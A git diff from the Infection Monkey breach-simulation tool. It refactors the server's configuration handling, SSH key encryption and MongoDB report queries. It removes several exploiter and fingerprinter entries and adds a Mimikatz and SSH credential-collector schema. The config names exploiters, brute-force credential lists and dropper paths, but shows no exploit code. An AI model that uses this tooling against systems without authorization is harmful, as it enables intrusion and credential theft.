{"$exists": True}}}, + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "ssh_info": "$data.ssh_info", + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "name": "$data.name", + "home_dir": "$data.home_dir", } }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + "_id": { + "machine": "$machine", + "ssh_info": {"name": "$name", "home_dir": "$home_dir"}, + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 91eb42d8b..89f8adbc1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -61,7 +61,7 @@ class T1210(AttackTechnique): def get_exploited_services(): results = mongo.db.telemetry.aggregate( [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_addr": "$data.machine.ip_addr"}, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index e11d6297b..785c0fe27 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -16,7 +16,7 @@ logger = logging.getLogger(__name__) class AttackTechnique(object, metaclass=abc.ABCMeta): - """ Abstract class for ATT&CK report components """ + """Abstract class for ATT&CK report components""" config_schema_per_attack_technique = None diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index c370590d9..18397959b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -7,7 +7,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): - """ Class for ATT&CK report components of post-breach actions """ + """Class for ATT&CK report components of post-breach actions""" @property @abc.abstractmethod diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py deleted file mode 100644 index 05bdac8f1..000000000 --- a/monkey/monkey_island/cc/services/bootloader.py +++ /dev/null @@ -1,71 +0,0 @@ -from typing import Dict, List - -from bson import ObjectId - -from monkey_island.cc.database import mongo -from monkey_island.cc.services.node import NodeCreationException, NodeService -from monkey_island.cc.services.utils.bootloader_config import ( - MIN_GLIBC_VERSION, - SUPPORTED_WINDOWS_VERSIONS, -) -from monkey_island.cc.services.utils.node_states import NodeStates - - -class BootloaderService: - @staticmethod - def parse_bootloader_telem(telem: Dict) -> bool: - telem["ips"] = BootloaderService.remove_local_ips(telem["ips"]) - if telem["os_version"] == "": - telem["os_version"] = "Unknown OS" - - telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) - - will_monkey_run = BootloaderService.is_os_compatible(telem) - try: - node = NodeService.get_or_create_node_from_bootloader_telem(telem, will_monkey_run) - except NodeCreationException: - # Didn't find the node, but allow monkey to run anyways - return True - - node_group = BootloaderService.get_next_node_state(node, telem["system"], will_monkey_run) - if "group" not in node or node["group"] != node_group.value: - NodeService.set_node_group(node["_id"], node_group) - return will_monkey_run - - @staticmethod - def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates: - group_keywords = [system, "monkey"] - if "group" in node and node["group"] == "island": - group_keywords.extend(["island", "starting"]) - else: - group_keywords.append("starting") if will_monkey_run else group_keywords.append("old") - node_group = NodeStates.get_by_keywords(group_keywords) - return node_group - - @staticmethod - def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId: - ip_hash = hex(hash(str(bootloader_telem["ips"])))[3:15] - hostname_hash = hex(hash(bootloader_telem["hostname"]))[3:15] - return ObjectId(ip_hash + hostname_hash) - - @staticmethod - def is_os_compatible(bootloader_data) -> bool: - if bootloader_data["system"] == "windows": - return BootloaderService.is_windows_version_supported(bootloader_data["os_version"]) - elif bootloader_data["system"] == "linux": - return BootloaderService.is_glibc_supported(bootloader_data["glibc_version"]) - - @staticmethod - def is_windows_version_supported(windows_version) -> bool: - return SUPPORTED_WINDOWS_VERSIONS.get(windows_version, True) - - @staticmethod - def is_glibc_supported(glibc_version_string) -> bool: - glibc_version_string = glibc_version_string.lower() - glibc_version = glibc_version_string.split(" ")[-1] - return glibc_version >= str(MIN_GLIBC_VERSION) and "eglibc" not in glibc_version_string - - @staticmethod - def remove_local_ips(ip_list) -> List[str]: - return [i for i in ip_list if not i.startswith("127")] diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 0214a957e..f0977ef66 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -2,6 +2,9 @@ import collections import copy import functools import logging +import re +from itertools import chain +from typing import Any, Dict, List from jsonschema import Draft4Validator, validators @@ -14,12 +17,17 @@ from common.config_value_paths import ( PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH, SSH_KEYS_PATH, - STARTED_ON_ISLAND_PATH, USER_LIST_PATH, ) from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.consts import ISLAND_PORT -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor +from monkey_island.cc.server_utils.encryption import ( + SensitiveField, + StringEncryptor, + decrypt_dict, + encrypt_dict, + get_datastore_encryptor, +) from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode @@ -39,6 +47,11 @@ ENCRYPTED_CONFIG_VALUES = [ AWS_KEYS_PATH + ["aws_session_token"], ] +SENSITIVE_SSH_KEY_FIELDS = [ + SensitiveField(path="private_key", field_encryptor=StringEncryptor), + SensitiveField(path="public_key", field_encryptor=StringEncryptor), +] + class ConfigService: default_config = None @@ -92,7 +105,12 @@ class ConfigService: if isinstance(config, str): config = get_datastore_encryptor().decrypt(config) elif isinstance(config, list): - config = [get_datastore_encryptor().decrypt(x) for x in config] + if config: + if isinstance(config[0], str): + config = [get_datastore_encryptor().decrypt(x) for x in config] + elif isinstance(config[0], dict) and "public_key" in config[0]: + config = [decrypt_dict(SENSITIVE_SSH_KEY_FIELDS, x) for x in config] + return config @staticmethod @@ -130,7 +148,10 @@ class ConfigService: if item_value in items_from_config: return if should_encrypt: - item_value = get_datastore_encryptor().encrypt(item_value) + if isinstance(item_value, dict): + item_value = encrypt_dict(SENSITIVE_SSH_KEY_FIELDS, item_value) + else: + item_value = get_datastore_encryptor().encrypt(item_value) mongo.db.config.update( {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) @@ -164,20 +185,12 @@ class ConfigService: ) @staticmethod - def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip - ): - ConfigService.add_item_to_config_set_if_dont_exist( - SSH_KEYS_PATH, - {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}, - # SSH keys already encrypted in process_ssh_info() - should_encrypt=False, - ) - - @staticmethod - def ssh_key_exists(keys, user, ip): - return [key for key in keys if key["user"] == user and key["ip"] == ip] + def ssh_add_keys(public_key, private_key): + ConfigService.add_item_to_config_set_if_dont_exist( + SSH_KEYS_PATH, + {"public_key": public_key, "private_key": private_key}, + should_encrypt=True, + ) def _filter_none_values(data): if isinstance(data, dict): @@ -346,7 +359,7 @@ class ConfigService: and "public_key" in flat_config[key][0] ): flat_config[key] = [ - ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] + decrypt_dict(SENSITIVE_SSH_KEY_FIELDS, item) for item in flat_config[key] ] else: flat_config[key] = [ @@ -373,9 +386,9 @@ class ConfigService: # Check if array of shh key pairs and then decrypt if isinstance(config_arr[i], dict) and "public_key" in config_arr[i]: config_arr[i] = ( - ConfigService.decrypt_ssh_key_pair(config_arr[i]) + decrypt_dict(SENSITIVE_SSH_KEY_FIELDS, config_arr[i]) if is_decrypt - else ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else encrypt_dict(SENSITIVE_SSH_KEY_FIELDS, config_arr[i]) ) else: config_arr[i] = ( @@ -390,20 +403,269 @@ class ConfigService: else get_datastore_encryptor().encrypt(config_arr) ) - @staticmethod - def decrypt_ssh_key_pair(pair, encrypt=False): - if encrypt: - pair["public_key"] = get_datastore_encryptor().encrypt(pair["public_key"]) - pair["private_key"] = get_datastore_encryptor().encrypt(pair["private_key"]) - else: - pair["public_key"] = get_datastore_encryptor().decrypt(pair["public_key"]) - pair["private_key"] = get_datastore_encryptor().decrypt(pair["private_key"]) - return pair - @staticmethod def is_test_telem_export_enabled(): return ConfigService.get_config_value(EXPORT_MONKEY_TELEMS_PATH) @staticmethod - def set_started_on_island(value: bool): - ConfigService.set_config_value(STARTED_ON_ISLAND_PATH, value) + def get_config_propagation_credentials_from_flat_config(config) -> Dict[str, List[str]]: + return { + "exploit_user_list": config.get("exploit_user_list", []), + "exploit_password_list": config.get("exploit_password_list", []), + "exploit_lm_hash_list": config.get("exploit_lm_hash_list", []), + "exploit_ntlm_hash_list": config.get("exploit_ntlm_hash_list", []), + "exploit_ssh_keys": config.get("exploit_ssh_keys", []), + } + + @staticmethod + def format_flat_config_for_agent(config: Dict): + ConfigService._remove_credentials_from_flat_config(config) + ConfigService._format_payloads_from_flat_config(config) + ConfigService._format_pbas_from_flat_config(config) + ConfigService._format_propagation_from_flat_config(config) + + @staticmethod + def _remove_credentials_from_flat_config(config: Dict): + fields_to_remove = { + "exploit_lm_hash_list", + "exploit_ntlm_hash_list", + "exploit_password_list", + "exploit_ssh_keys", + "exploit_user_list", + } + + for field in fields_to_remove: + config.pop(field, None) + + @staticmethod + def _format_payloads_from_flat_config(config: Dict): + config.setdefault("payloads", {})["ransomware"] = config["ransomware"] + config.pop("ransomware", None) + + @staticmethod + def _format_pbas_from_flat_config(config: Dict): + flat_linux_command_field = "custom_PBA_linux_cmd" + flat_linux_filename_field = "PBA_linux_filename" + flat_windows_command_field = "custom_PBA_windows_cmd" + flat_windows_filename_field = "PBA_windows_filename" + + formatted_pbas_config = {} + for pba in config.get("post_breach_actions", []): + formatted_pbas_config[pba] = {} + + config["custom_pbas"] = { + "linux_command": config.get(flat_linux_command_field, ""), + "linux_filename": config.get(flat_linux_filename_field, ""), + "windows_command": config.get(flat_windows_command_field, ""), + "windows_filename": config.get(flat_windows_filename_field, ""), + # Current server is used for attack telemetry + "current_server": config.get("current_server"), + } + + config["post_breach_actions"] = formatted_pbas_config + + config.pop(flat_linux_command_field, None) + config.pop(flat_linux_filename_field, None) + config.pop(flat_windows_command_field, None) + config.pop(flat_windows_filename_field, None) + + @staticmethod + def _format_propagation_from_flat_config(config: Dict): + formatted_propagation_config = {"network_scan": {}, "targets": {}} + + formatted_propagation_config[ + "network_scan" + ] = ConfigService._format_network_scan_from_flat_config(config) + + formatted_propagation_config["targets"] = ConfigService._format_targets_from_flat_config( + config + ) + formatted_propagation_config[ + "exploiters" + ] = ConfigService._format_exploiters_from_flat_config(config) + + config["propagation"] = formatted_propagation_config + + @staticmethod + def _format_network_scan_from_flat_config(config: Dict) -> Dict[str, Any]: + formatted_network_scan_config = {"tcp": {}, "icmp": {}, "fingerprinters": []} + + formatted_network_scan_config["tcp"] = ConfigService._format_tcp_scan_from_flat_config( + config + ) + formatted_network_scan_config["icmp"] = ConfigService._format_icmp_scan_from_flat_config( + config + ) + formatted_network_scan_config[ + "fingerprinters" + ] = ConfigService._format_fingerprinters_from_flat_config(config) + + return formatted_network_scan_config + + @staticmethod + def _format_tcp_scan_from_flat_config(config: Dict) -> Dict[str, Any]: + flat_http_ports_field = "HTTP_PORTS" + flat_tcp_timeout_field = "tcp_scan_timeout" + flat_tcp_ports_field = "tcp_target_ports" + + formatted_tcp_scan_config = {} + + formatted_tcp_scan_config["timeout_ms"] = config[flat_tcp_timeout_field] + + ports = ConfigService._union_tcp_and_http_ports( + config[flat_tcp_ports_field], config[flat_http_ports_field] + ) + formatted_tcp_scan_config["ports"] = ports + + # Do not remove HTTP_PORTS field. Other components besides scanning need it. + config.pop(flat_tcp_timeout_field, None) + config.pop(flat_tcp_ports_field, None) + + return formatted_tcp_scan_config + + @staticmethod + def _union_tcp_and_http_ports(tcp_ports: List[int], http_ports: List[int]) -> List[int]: + combined_ports = list(set(tcp_ports) | set(http_ports)) + + return sorted(combined_ports) + + @staticmethod + def _format_icmp_scan_from_flat_config(config: Dict) -> Dict[str, Any]: + flat_ping_timeout_field = "ping_scan_timeout" + + formatted_icmp_scan_config = {} + formatted_icmp_scan_config["timeout_ms"] = config[flat_ping_timeout_field] + + config.pop(flat_ping_timeout_field, None) + + return formatted_icmp_scan_config + + @staticmethod + def _format_fingerprinters_from_flat_config(config: Dict) -> List[Dict[str, Any]]: + flat_fingerprinter_classes_field = "finger_classes" + flat_http_ports_field = "HTTP_PORTS" + + formatted_fingerprinters = [ + {"name": f, "options": {}} for f in sorted(config[flat_fingerprinter_classes_field]) + ] + + for fp in formatted_fingerprinters: + if fp["name"] == "HTTPFinger": + fp["options"] = {"http_ports": sorted(config[flat_http_ports_field])} + + fp["name"] = ConfigService._translate_fingerprinter_name(fp["name"]) + + config.pop(flat_fingerprinter_classes_field) + return formatted_fingerprinters + + @staticmethod + def _translate_fingerprinter_name(name: str) -> str: + # This translates names like "HTTPFinger" to "http". "HTTPFinger" is an old classname on the + # agent-side and is therefore unnecessarily couples the island to the fingerprinter's + # implementation within the agent. For the time being, fingerprinters will have names like + # "http", "ssh", "elastic", etc. This will be revisited when fingerprinters become plugins. + return re.sub(r"Finger", "", name).lower() + + @staticmethod + def _format_targets_from_flat_config(config: Dict) -> Dict[str, Any]: + flat_blocked_ips_field = "blocked_ips" + flat_inaccessible_subnets_field = "inaccessible_subnets" + flat_local_network_scan_field = "local_network_scan" + flat_subnet_scan_list_field = "subnet_scan_list" + + formatted_scan_targets_config = {} + + formatted_scan_targets_config[flat_blocked_ips_field] = config[flat_blocked_ips_field] + formatted_scan_targets_config[flat_inaccessible_subnets_field] = config[ + flat_inaccessible_subnets_field + ] + formatted_scan_targets_config[flat_local_network_scan_field] = config[ + flat_local_network_scan_field + ] + formatted_scan_targets_config[flat_subnet_scan_list_field] = config[ + flat_subnet_scan_list_field + ] + + config.pop(flat_blocked_ips_field, None) + config.pop(flat_inaccessible_subnets_field, None) + config.pop(flat_local_network_scan_field, None) + config.pop(flat_subnet_scan_list_field, None) + + return formatted_scan_targets_config + + @staticmethod + def _format_exploiters_from_flat_config(config: Dict) -> Dict[str, List[Dict[str, Any]]]: + flat_config_exploiter_classes_field = "exploiter_classes" + brute_force_category = "brute_force" + vulnerability_category = "vulnerability" + brute_force_exploiters = { + "MSSQLExploiter", + "PowerShellExploiter", + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + } + + exploit_options = {} + + for dropper_target in [ + "dropper_target_path_linux", + "dropper_target_path_win_64", + ]: + exploit_options[dropper_target] = config.get(dropper_target, "") + + exploit_options["http_ports"] = sorted(config["HTTP_PORTS"]) + + formatted_exploiters_config = { + "options": exploit_options, + "brute_force": [], + "vulnerability": [], + } + + for exploiter in sorted(config[flat_config_exploiter_classes_field]): + category = ( + brute_force_category + if exploiter in brute_force_exploiters + else vulnerability_category + ) + + formatted_exploiters_config[category].append({"name": exploiter, "options": {}}) + + config.pop(flat_config_exploiter_classes_field, None) + + formatted_exploiters_config = ConfigService._add_smb_download_timeout_to_exploiters( + config, formatted_exploiters_config + ) + return ConfigService._add_supported_os_to_exploiters(formatted_exploiters_config) + + @staticmethod + def _add_smb_download_timeout_to_exploiters( + flat_config: Dict, formatted_config: Dict + ) -> Dict[str, List[Dict[str, Any]]]: + new_config = copy.deepcopy(formatted_config) + uses_smb_timeout = {"SmbExploiter", "WmiExploiter"} + + for exploiter in filter(lambda e: e["name"] in uses_smb_timeout, new_config["brute_force"]): + exploiter["options"]["smb_download_timeout"] = flat_config["smb_download_timeout"] + + return new_config + + @staticmethod + def _add_supported_os_to_exploiters( + formatted_config: Dict, + ) -> Dict[str, List[Dict[str, Any]]]: + supported_os = { + "HadoopExploiter": ["linux", "windows"], + "Log4ShellExploiter": ["linux", "windows"], + "MSSQLExploiter": ["windows"], + "PowerShellExploiter": ["windows"], + "SSHExploiter": ["linux"], + "SmbExploiter": ["windows"], + "WmiExploiter": ["windows"], + "ZerologonExploiter": ["windows"], + } + new_config = copy.deepcopy(formatted_config) + for exploiter in chain(new_config["brute_force"], new_config["vulnerability"]): + exploiter["supported_os"] = supported_os.get(exploiter["name"], []) + + return new_config diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 9151ff259..0ce28a3d1 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -18,13 +18,8 @@ BASIC = { "WmiExploiter", "SSHExploiter", "Log4ShellExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", - "DrupalExploiter", "PowerShellExploiter", ], } diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index fb1e35b45..2adefb455 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -1,13 +1,13 @@ from monkey_island.cc.services.config_schema.basic import BASIC from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK +from monkey_island.cc.services.config_schema.definitions.credential_collector_classes import ( + CREDENTIAL_COLLECTOR_CLASSES, +) from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES from monkey_island.cc.services.config_schema.definitions.post_breach_actions import ( POST_BREACH_ACTIONS, ) -from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import ( - SYSTEM_INFO_COLLECTOR_CLASSES, -) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE @@ -20,7 +20,7 @@ SCHEMA = { # users will not accidentally chose unsafe options "definitions": { "exploiter_classes": EXPLOITER_CLASSES, - "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, + "credential_collector_classes": CREDENTIAL_COLLECTOR_CLASSES, "post_breach_actions": POST_BREACH_ACTIONS, "finger_classes": FINGER_CLASSES, }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py new file mode 100644 index 000000000..9c41a1f26 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py @@ -0,0 +1,25 @@ +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR + +CREDENTIAL_COLLECTOR_CLASSES = { + "title": "Credential Collectors", + "description": "Click on a credential collector to find out what it collects.", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [MIMIKATZ_COLLECTOR], + "title": "Mimikatz Credentials Collector", + "safe": True, + "info": "Collects credentials from Windows credential manager.", + "attack_techniques": ["T1003", "T1005"], + }, + { + "type": "string", + "enum": [SSH_COLLECTOR], + "title": "SSH Credentials Collector", + "safe": True, + "info": "Searches users' home directories and collects SSH keypairs.", + "attack_techniques": ["T1005", "T1145"], + }, + ], +} diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 56f81256b..2ecaa977b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,17 +42,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, - { - "type": "string", - "enum": ["Ms08_067_Exploiter"], - "title": "MS08-067 Exploiter", - "safe": False, - "info": "Unsafe exploiter, that might cause system crash due to the use of buffer " - "overflow. " - "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" - "-067/", - }, { "type": "string", "enum": ["SSHExploiter"], @@ -64,43 +53,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/sshexec/", }, - { - "type": "string", - "enum": ["ShellShockExploiter"], - "title": "ShellShock Exploiter", - "safe": True, - "info": "CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/shellshock/", - }, - { - "type": "string", - "enum": ["ElasticGroovyExploiter"], - "title": "ElasticGroovy Exploiter", - "safe": True, - "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/elasticgroovy/", - }, - { - "type": "string", - "enum": ["Struts2Exploiter"], - "title": "Struts2 Exploiter", - "safe": True, - "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", - }, - { - "type": "string", - "enum": ["WebLogicExploiter"], - "title": "WebLogic Exploiter", - "safe": True, - "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/weblogic/", - }, { "type": "string", "enum": ["HadoopExploiter"], @@ -111,15 +63,6 @@ EXPLOITER_CLASSES = { "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, - { - "type": "string", - "enum": ["DrupalExploiter"], - "title": "Drupal Exploiter", - "safe": True, - "info": "Exploits a remote command execution vulnerability in a Drupal server," - "for which certain modules (such as RESTful Web Services) are enabled.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", - }, { "type": "string", "enum": ["ZerologonExploiter"], diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6389f1b13..1a983a899 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -20,13 +20,6 @@ FINGER_CLASSES = { "info": "Figures out if SSH is running.", "attack_techniques": ["T1210"], }, - { - "type": "string", - "enum": ["PingScanner"], - "title": "Ping Scanner", - "safe": True, - "info": "Tries to identify if host is alive and which OS it's running by ping scan.", - }, { "type": "string", "enum": ["HTTPFinger"], @@ -34,14 +27,6 @@ FINGER_CLASSES = { "safe": True, "info": "Checks if host has HTTP/HTTPS ports open.", }, - { - "type": "string", - "enum": ["MySQLFinger"], - "title": "MySQL Fingerprinter", - "safe": True, - "info": "Checks if MySQL server is running and tries to get it's version.", - "attack_techniques": ["T1210"], - }, { "type": "string", "enum": ["MSSQLFinger"], diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 7d62ac36e..d6831ed63 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -94,5 +94,12 @@ POST_BREACH_ACTIONS = { "info": "Attempts to clear the command history.", "attack_techniques": ["T1146"], }, + { + "type": "string", + "enum": ["ProcessListCollection"], + "title": "Process List Collector", + "safe": True, + "info": "Collects a list of running processes on the machine.", + }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py deleted file mode 100644 index b77087a48..000000000 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ /dev/null @@ -1,38 +0,0 @@ -from common.common_consts.system_info_collectors_names import ( - AWS_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR, -) - -SYSTEM_INFO_COLLECTOR_CLASSES = { - "title": "System Information Collectors", - "description": "Click on a system info collector to find out what it collects.", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [MIMIKATZ_COLLECTOR], - "title": "Mimikatz Collector", - "safe": True, - "info": "Collects credentials from Windows credential manager.", - "attack_techniques": ["T1003", "T1005"], - }, - { - "type": "string", - "enum": [AWS_COLLECTOR], - "title": "AWS Collector", - "safe": True, - "info": "If on AWS, collects more information about the AWS instance " - "currently running on.", - "attack_techniques": ["T1082"], - }, - { - "type": "string", - "enum": [PROCESS_LIST_COLLECTOR], - "title": "Process List Collector", - "safe": True, - "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"], - }, - ], -} diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 9f3033435..86a0089ec 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -1,5 +1,3 @@ -from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN - INTERNAL = { "title": "Internal", "type": "object", @@ -11,46 +9,20 @@ INTERNAL = { "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", - "default": 60, + "default": 30, "description": "Time to keep tunnel open before going down after last exploit " "(in seconds)", }, - "started_on_island": { - "title": "Started on island", - "type": "boolean", - "default": False, - "description": "Was exploitation started from island" - "(did monkey with max depth ran on island)", - }, }, }, "monkey": { "title": "Monkey", "type": "object", "properties": { - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey is " - "allowed to scan", - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " - + WARNING_SIGN - + " Note that setting this value too high may result in the " - "monkey propagating to " - "a high number of machines", - }, - "alive": { - "title": "Alive", + "should_stop": { "type": "boolean", - "default": True, - "description": "Is the monkey alive", + "default": False, + "description": "Was stop command issued for this monkey", }, "aws_keys": { "type": "object", @@ -119,16 +91,12 @@ INTERNAL = { 3306, 7001, 8088, + 5985, + 5986, ], "description": "List of TCP ports the monkey will check whether " "they're open", }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 0, - "description": "Time to sleep (in milliseconds) between scans", - }, "tcp_scan_timeout": { "title": "TCP scan timeout", "type": "integer", @@ -136,13 +104,6 @@ INTERNAL = { "description": "Maximum time (in milliseconds) " "to wait for TCP response", }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the " - "banner", - }, }, }, "ping_scanner": { @@ -172,9 +133,7 @@ INTERNAL = { "default": [ "SMBFinger", "SSHFinger", - "PingScanner", "HTTPFinger", - "MySQLFinger", "MSSQLFinger", "ElasticFinger", ], @@ -216,14 +175,6 @@ INTERNAL = { "description": "Determines where should the dropper place the monkey on a " "Linux machine", }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\temp\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a " - "Windows machine " - "(32bit)", - }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", @@ -234,36 +185,6 @@ INTERNAL = { }, }, }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux", - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows", - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux", - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows", - }, - }, - }, "exploits": { "title": "Exploits", "type": "object", @@ -294,56 +215,17 @@ INTERNAL = { "items": {"type": "string"}, "description": "List of SSH key pairs to use, when trying to ssh into servers", }, - "general": { - "title": "General", + "smb_service": { + "title": "SMB service", "type": "object", "properties": { - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit " - "if the monkey's file" - " is already on the remote machine", - } - }, - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", + "smb_download_timeout": { + "title": "SMB download timeout", "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067", + "default": 30, + "description": "Timeout (in 